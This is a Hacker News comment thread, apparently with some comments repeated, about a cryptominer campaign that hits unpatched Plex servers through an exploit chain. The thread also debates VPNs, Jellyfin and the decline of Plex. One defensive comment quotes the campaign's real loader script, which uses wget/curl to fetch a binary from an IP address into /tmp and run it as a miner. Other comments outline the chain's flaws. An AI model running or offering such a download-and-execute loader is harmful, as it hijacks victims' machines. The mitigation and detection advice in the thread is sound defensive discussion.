Rendered at 22:51:25 GMT+0000 (Coordinated Universal Time) with Cloudflare Workers.
iamjackg 1 days ago [-]
Yeah, this happened to me the other day. I completely missed their "please upgrade now" email on Sep 1st and was running a 13 month old version. I got a notification that my home server was at 100% usage, and found the miner right away. At least they were nice enough to name the process "mylovelyminer."
freedomben 24 hours ago [-]
I too have an appreciation for crypto miners who don't try to hide the process. I inherited a PHP app that had been hacked and mined, and the wallet key was even an argument to the process it spawned :-)
willio58 5 hours ago [-]
haha that name is amazing
leptons 20 hours ago [-]
Same, my streaming radio stations were all buffering constantly, which never happens, so I knew something was wrong.
Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.
xavdid 1 days ago [-]
I got hit with a cryptominer on my mac mini the other day. I only noticed because I happened to sitting in the room with it and noticed the fans were working overtime. There was a process, "icloud-services", which was using 100% of the CPU. It's sort of an indictment of Apple that my first inclination was "they've got a bug that's got an infinite loop" instead of "this is malicious software".
After a reboot, I traced it back to a folder in `Library/Application Support` which included a `config.json` that mentioned gulf[.]moneroocean[.]stream, so I knew I'd been popped. Cleanup was easy enough (the files themselves, plus the launch daemon), but it's annoying.
I don't do dev work on that machine (it's really just for plex & stuff) so it must have been some sort of vulnerability in Plex (but not the one described in OP) or macOS itself. Interestingly, I was up to date on my Plex install, but my macOS version was behind what was apparently an important security update related to an RCE (Sequoia 15.8).
whycome 1 days ago [-]
Well damn. Here I was thinking I’m okay because Plex is up to date even if my OS isn’t…
VCFundedGenYer 1 days ago [-]
Why in the world was your Plex exposed to the open internet?
dijit 23 hours ago [-]
Listening to music from plexamp on my phone when I'm out of the house?
td521534f12 21 hours ago [-]
That doesn't require public internet, you can and should use a VPN for that.
VoidWhisperer 23 hours ago [-]
Would you still be able to do this if you put plex behind tailscale and connected to your tailnet on your phone?
dijit 21 hours ago [-]
Probably? But then I'm using the "vpn slot" on my device all the time which prevents me from connecting to my work VPN when I need it without a little vpn disable dance.
And anyway it drains the battery; and maybe I don't want to add VPN to every device I want to listen to music with, like my PC at work.
14 hours ago [-]
ks6g10 22 hours ago [-]
Normal Plex works using that way, so probably.
rajamaka 19 hours ago [-]
Friends and family connecting to my Plex, all non technical people.
hxugufjfjf 8 hours ago [-]
Yup. Same use-case. I ended up with a geoblock as a mitigating control. Doesn't fully prevent these types of things, but alleviates the mass-scan type attacks.
Shank 17 hours ago [-]
I see a lot of people here in the comments saying things like "well it was just a cryptominer". You absolutely cannot trust these machines even after you have removed the obvious cryptominer. Assume the attackers took everything they could, any authentication tokens, or anything else. You should not even trust these computers again. Erase the disk and install a new OS. It is not sufficient to just remove a running script.
gus_ 8 hours ago [-]
I don't see anyone recommending measures to mitigate these attacks either.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
#!/bin/sh
if ps -eo comm= | grep -qx 'x12345'; then
exit 0
fi
cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
if you don't need curl/wget, just uninstall them, also from the docker container/image.
mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
This applies to any kind of malware. As son as a machine is compromised you should reinstall and not trust that you removed everything. There's so much stuff happening on a computer that a malware can hide everywhere
NelsonMinar 1 days ago [-]
Lots of reports on Reddit about people getting popped. Other payloads too, like a DDOS node.
Plex2Shell is the proof-of-concept exploit that is feeding this. An LLM chained together several CVEs: https://zmain.info/blog/plex2shell
cataflam 1 days ago [-]
Stage 1 and 3 of that chain are shocking. I mean, yes, security is very hard, especially in a large codebase, but they look like actively made misguided choices.
Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?
Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.
coreyburnsdev 1 days ago [-]
I find plex unusable since the latest UI updates in any place but my PC browser. It's so slow that Jellyfin is really my only option now. Did the vibe-code the new changes or what?
whycome 1 days ago [-]
There seems to be widespread disdain for it. AFAIK they switched to a shared codebase to make it easy for the devs to deploy to multiple devices. But, it came at the expense of UX for pretty much all devices. They don’t use native video services on things like iPhone.
joshstrange 11 hours ago [-]
The Apple TV UI change drove me crazy. I switched to Plezy but it’s still not quite what I want. The good news is, it’s open source, so I can modify it if I want to, and it supports Plex and jellyfin, which would make switching to jellyfin in the future easier.
cosmic_cheese 1 days ago [-]
[dead]
ihsw 24 hours ago [-]
[dead]
HaloZero 1 days ago [-]
I use Pleezy which has been a nice open source alternative to the Plex UI. The only issue we've had is that on wake, you have to press back once to do anything else. I'll eventually debug it and see if I can fix it.
spectre3d 21 hours ago [-]
*Plezy.
$7.99 on the Canadian iOS App Store. Looks great, bought it immediately. Thanks for the rec!
Loughla 1 days ago [-]
It's not unusable on my shield but it's definitely worse. Not just 'change is bad' worse, but actually worse.
Selecting a season and then the episode gives you the episode summary instead of just playing the episode.
Hitting back on an episode brings up a side menu sometimes and others it leaves the episode like it should.
Why Plex?
quietsegfault 23 hours ago [-]
On my iOS devices, hitting a season and then the episode always took me to the episode detail. I'm not sure if this is a setting to configure, I never changed any plex settings other than setting direct play.
I don't have the "back" issue, there's an "X" on the iOS app to tap to exit the video, and the "menu" key on my Apple TV works as always.
So much for unifying the code bases! :D
psyclobe 5 hours ago [-]
Yes its obviously a thin wrapper over the core too; many timing bugs can be seen.
gdulli 1 days ago [-]
The new UI version never made it to the Xbox client so that's what I switched to using about 6 months ago. As a bonus, I got to ditch my Roku altogether.
robotnikman 1 days ago [-]
Yes, its completely unusable on my fire stick. I ended up sideloading the old apk.
Hikikomori 1 days ago [-]
There's a few alternative jellyfin clients that are really good and fast.
VCFundedGenYer 1 days ago [-]
Plex has been enshittified since at least 2021. Most moved to Jellyfin.
wildzzz 23 hours ago [-]
When Plex made their free TV channels front and center, I knew things would only get worse. I've been really happy with Jellyfin, especially with the Moonfin plugin. There is a weird issue with my Samsung TV never showing subtitles but that's my only complaint.
drfuzzy89 20 hours ago [-]
I got hit with this. I run Plex on Linux and I hadn't realized that they changed their apt repo URL at one point so I was way behind.
Luckily, the whole attack was hilariously incompetent. All of my cores were pegged at 100 so Plex was unusable so I went to investigate and immediately found a process called MyLovelyMiner.
I imagine someone trying to run an illicit crypto miner on other people's hardware would want to do so surreptitiously, but they sure made it as obvious as they possibly could.
whazor 11 hours ago [-]
Switch to Jellyfin plus a VPN like Tailscale.
The trick is finding the best client for the device you want to watch on. There are quite some options.
This is the second time people are getting hacked via Plex vulnerabilities since I have been counting.
cogman10 8 hours ago [-]
I'm pretty close to doing this simply because Plex has been steadily dropping in quality as it tries to transition from a media player into a streaming platform. Update after update has been making it harder and harder for me to get to my content.
basilikum 1 days ago [-]
It doesn't cease to amaze me how uncreative attackers are time and time again. A cryptominer in 2026? They really earned the three cents they are getting out of that.
It's almost like Plex is trying to convince me to dump it for Jellyfin lately
- raising the prices of membership
- making the UI terribly slow on all devices
- constant cve's
- constantly spamming my email with offers despite already paying for premium
foobarian 1 days ago [-]
> internet-facing Plex servers
This is terrifying. Who runs things like this open to the outside?
wolrah 1 days ago [-]
> This is terrifying. Who runs things like this open to the outside?
Probably the majority of people with a Plex Pass subscription and most Plex users in general.
As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.
All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.
falkensmaize 1 days ago [-]
Plex in particular is notoriously insecure. It should never be accessible to the open internet unless via a vpn like WireGuard. Just playing with fire otherwise.
DaSHacka 1 days ago [-]
That may be true, but how do you grant non-technical family/friends access? They don't even understand what a VPN is, let alone how to toggle one on/off to access the Jellyfin instance.
Additionally, if they try to connect from an Android TV / Fire Stick, where you can't configure a VPN (and use their ISP's modem, so no wireguard client on the router to transparently route to the subnet), what are you supposed to do?
I feel it may be easier long-term to just contain the Jellyfin daemon to only r/o access to media, putting it behind a subdomain like jellyfin.example.com, and use the dns-01 challenge via LE to only provision a wildcard cert for the domain (IE *.example.com).
Then, have nginx listen on 80/443 with a default server directive that returns 444 for any requests not to the (correct) jellyfin hostname (due to bots hammering 80/443 across the internet on webserver's direct IPs).
Its the only solution I can think of to make it easy for nontechnical users (everything just described is completely invisible to a regular client) while reducing the attack surface area of the daemon.
FWIW, with the aforementioned setup, I got 0 unauthorized requests to my jellyfin server. Just a bunch of bots hammering my IP's 80/443 ports directly with exploits for old (usually wordpress) vulns, but they were all served 444 (IE an immediate TCP connection close without nginx even responding to the request).
yegle 1 days ago [-]
Tailscale is easy to explain.
"Install this app on your Apple TV or Android TV, login with your Gmail, and let me know your email address."
skinfaxi 9 hours ago [-]
At least for me the issue is that most TVs don't have a tailscale app. I resolved this for my mother in law by setting up a permanent VPN to my house but that doesn't scale to all my friends.
23 hours ago [-]
financetechbro 1 days ago [-]
Yes I’ve successfully explained Tailscale to anyone that has had a corporate job and has experience having to log into a work computer VPN before accessing their work intranet
DANmode 22 hours ago [-]
or has heard of anyone who has had one.
falkensmaize 18 hours ago [-]
If the alternative is dangerous exposure on the public internet, I'll choose either setting it up for them or just not sharing with them at all. Honestly I think all this widespread "family" sharing with 200 of your closest friends stuff is going to lead to another industry crackdown. I think it might be better for this stuff to stay a little geeky.
thejazzman 21 hours ago [-]
I was on this same line of thinking a few months ago when I made the mistake of switching to T-Mobile Home Internet and discovered I'd been CGNAT'd
Every time I want to share with someone I have to stop and debate if I want to possibly have to drive over to their house etc.
This is pretty cool! Your other stuff seems cool too (esp pixel prism). Are you planning to build a business around this?
Marsymars 18 hours ago [-]
Can’t you use ipv6?
thejazzman 9 hours ago [-]
yes. But can my users? maybe.
My intention is to make it work with as little friction as possible
clundin22 19 hours ago [-]
I use a raspberry pi and nginx to forward my jellyfin over Tailscale. This works really well, Tailscale is low touch and nginx is battletested. Jellyfin appears as a local service to other devices and I manage the raspberry pi with NixOS which makes the setup easy and deployable. Just plug in the pre imaged raspberry pi.
Almost all selfhosted services are in that bucket now. Everything from Plex, Jellyfin, to nextcloud or gitea/forgejo. Few months ago I went through all my setup and moved everything to a vpn. The only service I kept public is a static directory served by nginx where I keep some html food recipes I shared with a friend before.
It's less convenient to use and pretty much impossible to share with others. I can figure out a VPN on all my devices for the most part (except for a Boox ereader). Trying to get "family and friends" to install and maintain a VPN on their devices to be able to access services I share with them is a pipe dream.
Marsymars 18 hours ago [-]
I feel generally okay about putting some services behind Authelia for family and friends.
nannal 1 days ago [-]
Gitea got hit with a similar issue about a month back.
wolrah 1 days ago [-]
Did you miss the point about working on random devices? That's the key to why I use Plex at all. If I have to install and set up a VPN client on it I'd just use Jellyfin because at that point I've limited myself to only my devices.
Also of course friends/family. The most technologically useless people I know can operate Plex and can access my collection with basically no support necessary.
izacus 1 days ago [-]
Any citation for that or is that notoriety something that grew in your head?
hxugufjfjf 8 hours ago [-]
Plex Media Server has had a relatively small but consequential CVE history. There are some isolated high-severity issues from 2018–2020, a pretty bad CVE in 2025, then these latest 2026 vulnerabilities.
walthamstow 1 days ago [-]
I don't think any more than 5% of Plex users are using it for legally-obtained content.
meatball 5 hours ago [-]
I think 5% would be optimistic. One of the original 'Arr' apps was created by a Plex employee.
mingus88 21 hours ago [-]
You have no way of knowing and also how much content is legal or not
My plex library has my entire library that I’ve been curating since iTunes was released which is now predominantly FLAC files I buy from Bleep and Bandcamp
Every movie I have ever bought is there too. I suppose technically it’s all illegal right? I copied it. In some cases I even bypassed some things the DMCA outlawed to do so.
And so what?
It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Plex and their users is not the problem
walthamstow 15 hours ago [-]
What an unnecessary rant. I know the legality of my own Plex collection, which is zero.
mingus88 25 minutes ago [-]
Cool. The parent claim was that 5% of users were doing something. A claim which has no basis in evidence.
bigstrat2003 20 hours ago [-]
> It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Two wrongs don't make a right. I try to obtain my content legitimately because all I can control in this world is whether I act right, not whether other people do.
mingus88 24 minutes ago [-]
Legal != moral
When laws are only enforced against an underclass, they are inherently immoral
ppchain 1 days ago [-]
To be fair, this is Plex's intended use case. It is not a bizarre or unsupported config to expose Plex to the internet. It is designed to be on the network so that many different invited users can all log in and access your media. This model doesn't work if they all need to be on a tailnet or similar. Maybe Plex is less secure than nginx serving a web page, but its just a matter of a trust threshold.
If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.
mingus88 21 hours ago [-]
Plex and Tailscale are notoriously tricky to get working together. Just any search of those two words returns pages of forum help topics
dewey 1 days ago [-]
Many people, as your TV and sometimes friends have to connect to it and you don't want to explain Tailscale to them.
aurmc 13 hours ago [-]
Me. Or I did back when I used it. Now I’m on Jellyfin but the point is the same.
I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.
Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.
benoau 1 days ago [-]
You largely have to for Plex themselves to middleman access to your media collection.
doublepg23 1 days ago [-]
I'll fully admit I do.
The point of Plex is sharing your library with less ... technical users.
If I didn't want to do that, I'd not even use Jellyfin- SMB share and mpv would be fine with me.
This is my first time hearing about Pixel Brite, what's the history behind it?
thejazzman 1 days ago [-]
It's my love letter to owning multimedia.
I'm focused on minimizing friction; all comms go over Iroh, and it even works in the browser via webrtc (as of yesterday). No network expertise required.
History- I started it last year the night before my birthday so I guess it's kinda like a midlife crisis. I've been working on it relentlessly since and kind of want a real job at this point just so I can take PTO.
testflite@pixelbrite.site if interested
rumblefrog 1 days ago [-]
Do you intend this to be a freemium alternative akin to Plex, or plan to open source it and more of an alternative to Jellyfin?
thejazzman 20 hours ago [-]
My goal is:
if you want the best free player, you'll pick pixel brite.
if you want the best paid player, you'll pick pixel brite.
There's going to be a very generous free tier and everyone's getting Pixel Brite+ for the foreseeable future.
Free includes all the table stakes features; hardware acceleration, remote access, adaptive bitrates, gapless, lossless, etc.
I may limit superfluous things like the metadata fidelity, make you watch one of those old timey before-the-movie reels "Let's all goto the lobby and get ourselves some snacks!", disable niceties like automatically playing similar music when the queue ends (like Spotify), themes... things like that.
What are your thoughts?
Is there anything in particular you're looking out for?
blntechie 1 days ago [-]
I do run it open to the outside through cloudflare tunnels. I don't want to connect my TVs to tailscale every time to play a movie.
sippingabonedry 23 hours ago [-]
Why wouldn't they?
The chief complaint is really an indictment of every piece of shit modern web app backend.
bigstrat2003 1 days ago [-]
I do. I like to stream music from my server onto my phone when I'm out and about. And it's authenticated, so there's nothing terrifying about exposing it (security vulnerabilities aside, but that can happen to any software you expose).
DaSHacka 1 days ago [-]
If it's only your own clients connecting to it, have you looked into Tailscale? Even as a selfhost-all-the-things type of guy, I've been convinced. This is exactly why I started experimenting with it too, due to Android now allowing multiple VPNs at the same time. It replaced my previous setup of hosting parts of my homelab technically exposed to the internet, which were only used by my phone since it already had an always-active mullvad.
mcsniff 1 days ago [-]
Er? Android supports multiple VPNs at the same time on the same user profile? Since when exactly?
DaSHacka 23 hours ago [-]
Whoops, unfortunate typo, meant to type "not". My issue was I already used the Mullvad VPN client, so I couldn't double-up with a personal wireguard VPN client for my homelab. Tailscale "solves" this by supporting mullvad exit nodes natively in the service via a direct partnership, so you can have "one" VPN with multiple nodes accessible.
bigstrat2003 1 days ago [-]
I tried it once but had some issues where it was hard to get the Tailscale DNS to play nicely with my container setup. It's been a couple of years so I may be misremembering, but I want to say the issue was that it only would resolve names to the IP of the host, not the containers themselves. That could've changed by now, of course.
symlinkk 1 days ago [-]
Plex themselves literally recommend it and show a warning icon if it’s not accessible outside your local network. I always thought it was insane. To make matters worse their Synology package doesn’t auto update itself. I would guess there are a ton of vulnerable boxes sitting out there.
iAMkenough 1 days ago [-]
If you’re exposing anything on Synology to the Internet, you’re already playing with fire. Their packages (like Container Manager) are usually very far behind on security patches.
I think the current version of Docker engine Synology uses was end-of-life 2.5 years ago.
thenthenthen 1 days ago [-]
Yeah, please avoid Synology, really. If you have it or need it DONT expose it to the internet.
chrisweekly 1 days ago [-]
Synology NAS - an ugly doorstop with data loss resulting from its half-baked post-purchase attempts to enforce hardware vendor lock-in. (Was working fine w/ a Western Digital drive, the next day, boom.)
quietsegfault 1 days ago [-]
I’ve had a synology NAS that’s been running for 8 years. No data loss. I use random drives I had laying around. It’s not the fastest or fanciest, but I never had any experience with lock in. It’s got a 3rd party 10g card, more memory … nothing locked in.
chrisweekly 18 hours ago [-]
good for you, I hope it lasts another decade+
just sharing my lived experience
Dylan16807 22 hours ago [-]
It just has to pass through one port, right? Is that the kind of thing that's likely to be vulnerable on an outdated server?
Orygin 1 days ago [-]
What get me the most, are the rabid Plex fanbois swearing that having jellyfin open on the internet is such a baaaad idea and you should spend ~50~ ~100~ 500 bucks for a sub to Plex which totally don't expose the same risk
NoMoreNicksLeft 1 days ago [-]
I wouldn't go that far. It's just Jellyfin is ugly as shit.
DaSHacka 1 days ago [-]
When was the last time you tried it? I used to agree, but at least as of last year, it must've undergone a UI overhaul as now it looks quite nice imo.
Salgat 21 hours ago [-]
That's half the utility of it. Friends and family use it, I use it when traveling.
unethical_ban 24 hours ago [-]
It's a remote media streaming tool as much as a local one.
I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.
TacticalCoder 1 days ago [-]
> This is terrifying. Who runs things like this open to the outside?
A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).
It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.
Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.
When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.
All that I care about are data: like family pictures and movies (and, say, other movies).
My Jellyfin server is just a temporary "view" on my actual data.
I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.
mewse-hn 1 days ago [-]
I'm finding the idea of spawning then killing Jellyfin over and over again like Groundhog Day really funny
ImPostingOnHN 1 days ago [-]
Neat! So when you're on your tv stick or whatever, before deciding that you want to watch any movie in particular (so before the ephemeral jellyfin container is running), how does the movie selection process work?
And how did you set up the trigger to automatically spin up the ephemeral jellyfin container when a movie is selected?
Affects an older version of Plex and was patched in August.
TheCondor 1 days ago [-]
Did they start doing automatic updates?
I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.
eddythompson80 1 days ago [-]
You can opt-in automatic updates. If you install the non-container package, you can set it to auto upgrade.
With containers it's a questionable/clunky implementation but possible. It only works in one flavor of their official image. On startup it will check if there is an update and download it and replace the application in the container. It breaks the point of containers obviously. It also only runs on startup, so you need to restart the container to get it to run.
peezd 1 days ago [-]
Nope, at least not on the platform I'm on. Just get the popup when accessing media when there is an update and can automate it or schedule for evening, but no way to automatically update it.
HaloZero 1 days ago [-]
I don't think they force upgrade but it looks like the fix was part of 1.43.3 and my app is on 1.43.4
joecool1029 21 hours ago [-]
If you're on Gentoo, I've been keeping this maintained in their main tree. Had the patched version available for users since July 15th...
I also maintain a netbird ebuild in my overlay if you want a FOSS alternative to tailscale to put it behind.
zm_0x 23 hours ago [-]
Author of the writeup here.
For anyone running PMS: the fix is in 1.43.3.10861. Anything older is vulnerable. I reported it July 27 and Plex patched and awarded a $500 bounty within about a week.
If you want to know whether you were hit, the repo has a detection/ directory with YARA rules and a read-only hunt script (github.com/code-zm/plex2shell).
Happy to answer questions about the chain.
ragnaruss 16 hours ago [-]
I can login and control my server from plex, and I can stream via rely mode, but in the Remote Access it says "Not available outside your network". Is it safe to assume I avoided it?
zm_0x 8 hours ago [-]
Yes. If it's not open to the internet you're safe. If you're running an older version I'd still recommend patching to latest.
Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.
After a reboot, I traced it back to a folder in `Library/Application Support` which included a `config.json` that mentioned gulf[.]moneroocean[.]stream, so I knew I'd been popped. Cleanup was easy enough (the files themselves, plus the launch daemon), but it's annoying.
I don't do dev work on that machine (it's really just for plex & stuff) so it must have been some sort of vulnerability in Plex (but not the one described in OP) or macOS itself. Interestingly, I was up to date on my Plex install, but my macOS version was behind what was apparently an important security update related to an RCE (Sequoia 15.8).
And anyway it drains the battery; and maybe I don't want to add VPN to every device I want to listen to music with, like my PC at work.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org
Plex2Shell is the proof-of-concept exploit that is feeding this. An LLM chained together several CVEs: https://zmain.info/blog/plex2shell
Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?
Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.
$7.99 on the Canadian iOS App Store. Looks great, bought it immediately. Thanks for the rec!
Selecting a season and then the episode gives you the episode summary instead of just playing the episode.
Hitting back on an episode brings up a side menu sometimes and others it leaves the episode like it should.
Why Plex?
I don't have the "back" issue, there's an "X" on the iOS app to tap to exit the video, and the "menu" key on my Apple TV works as always.
So much for unifying the code bases! :D
Luckily, the whole attack was hilariously incompetent. All of my cores were pegged at 100 so Plex was unusable so I went to investigate and immediately found a process called MyLovelyMiner.
I imagine someone trying to run an illicit crypto miner on other people's hardware would want to do so surreptitiously, but they sure made it as obvious as they possibly could.
The trick is finding the best client for the device you want to watch on. There are quite some options.
This is the second time people are getting hacked via Plex vulnerabilities since I have been counting.
https://amphetamem.es/meme?id=office-space_1999_1140&text=Bu...
It's almost like Plex is trying to convince me to dump it for Jellyfin lately
- raising the prices of membership
- making the UI terribly slow on all devices
- constant cve's
- constantly spamming my email with offers despite already paying for premium
This is terrifying. Who runs things like this open to the outside?
Probably the majority of people with a Plex Pass subscription and most Plex users in general.
As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.
All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.
Additionally, if they try to connect from an Android TV / Fire Stick, where you can't configure a VPN (and use their ISP's modem, so no wireguard client on the router to transparently route to the subnet), what are you supposed to do?
I feel it may be easier long-term to just contain the Jellyfin daemon to only r/o access to media, putting it behind a subdomain like jellyfin.example.com, and use the dns-01 challenge via LE to only provision a wildcard cert for the domain (IE *.example.com).
Then, have nginx listen on 80/443 with a default server directive that returns 444 for any requests not to the (correct) jellyfin hostname (due to bots hammering 80/443 across the internet on webserver's direct IPs).
Its the only solution I can think of to make it easy for nontechnical users (everything just described is completely invisible to a regular client) while reducing the attack surface area of the daemon.
FWIW, with the aforementioned setup, I got 0 unauthorized requests to my jellyfin server. Just a bunch of bots hammering my IP's 80/443 ports directly with exploits for old (usually wordpress) vulns, but they were all served 444 (IE an immediate TCP connection close without nginx even responding to the request).
"Install this app on your Apple TV or Android TV, login with your Gmail, and let me know your email address."
Every time I want to share with someone I have to stop and debate if I want to possibly have to drive over to their house etc.
So here's my attempt at solving the problem: https://pixelbrite.site/en/profiles
My intention is to make it work with as little friction as possible
It's less convenient to use and pretty much impossible to share with others. I can figure out a VPN on all my devices for the most part (except for a Boox ereader). Trying to get "family and friends" to install and maintain a VPN on their devices to be able to access services I share with them is a pipe dream.
Also of course friends/family. The most technologically useless people I know can operate Plex and can access my collection with basically no support necessary.
My plex library has my entire library that I’ve been curating since iTunes was released which is now predominantly FLAC files I buy from Bleep and Bandcamp
Every movie I have ever bought is there too. I suppose technically it’s all illegal right? I copied it. In some cases I even bypassed some things the DMCA outlawed to do so.
And so what?
It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Plex and their users is not the problem
Two wrongs don't make a right. I try to obtain my content legitimately because all I can control in this world is whether I act right, not whether other people do.
When laws are only enforced against an underclass, they are inherently immoral
If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.
I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.
Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.
The point of Plex is sharing your library with less ... technical users.
If I didn't want to do that, I'd not even use Jellyfin- SMB share and mpv would be fine with me.
History- I started it last year the night before my birthday so I guess it's kinda like a midlife crisis. I've been working on it relentlessly since and kind of want a real job at this point just so I can take PTO.
testflite@pixelbrite.site if interested
There's going to be a very generous free tier and everyone's getting Pixel Brite+ for the foreseeable future.
Free includes all the table stakes features; hardware acceleration, remote access, adaptive bitrates, gapless, lossless, etc.
I may limit superfluous things like the metadata fidelity, make you watch one of those old timey before-the-movie reels "Let's all goto the lobby and get ourselves some snacks!", disable niceties like automatically playing similar music when the queue ends (like Spotify), themes... things like that.
What are your thoughts? Is there anything in particular you're looking out for?
The chief complaint is really an indictment of every piece of shit modern web app backend.
I think the current version of Docker engine Synology uses was end-of-life 2.5 years ago.
just sharing my lived experience
I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.
A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).
It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.
Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.
When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.
All that I care about are data: like family pictures and movies (and, say, other movies).
My Jellyfin server is just a temporary "view" on my actual data.
I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.
And how did you set up the trigger to automatically spin up the ephemeral jellyfin container when a movie is selected?
Thanks!
Affects an older version of Plex and was patched in August.
I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.
With containers it's a questionable/clunky implementation but possible. It only works in one flavor of their official image. On startup it will check if there is an update and download it and replace the application in the container. It breaks the point of containers obviously. It also only runs on startup, so you need to restart the container to get it to run.
I also maintain a netbird ebuild in my overlay if you want a FOSS alternative to tailscale to put it behind.
For anyone running PMS: the fix is in 1.43.3.10861. Anything older is vulnerable. I reported it July 27 and Plex patched and awarded a $500 bounty within about a week.
If you want to know whether you were hit, the repo has a detection/ directory with YARA rules and a read-only hunt script (github.com/code-zm/plex2shell).
Happy to answer questions about the chain.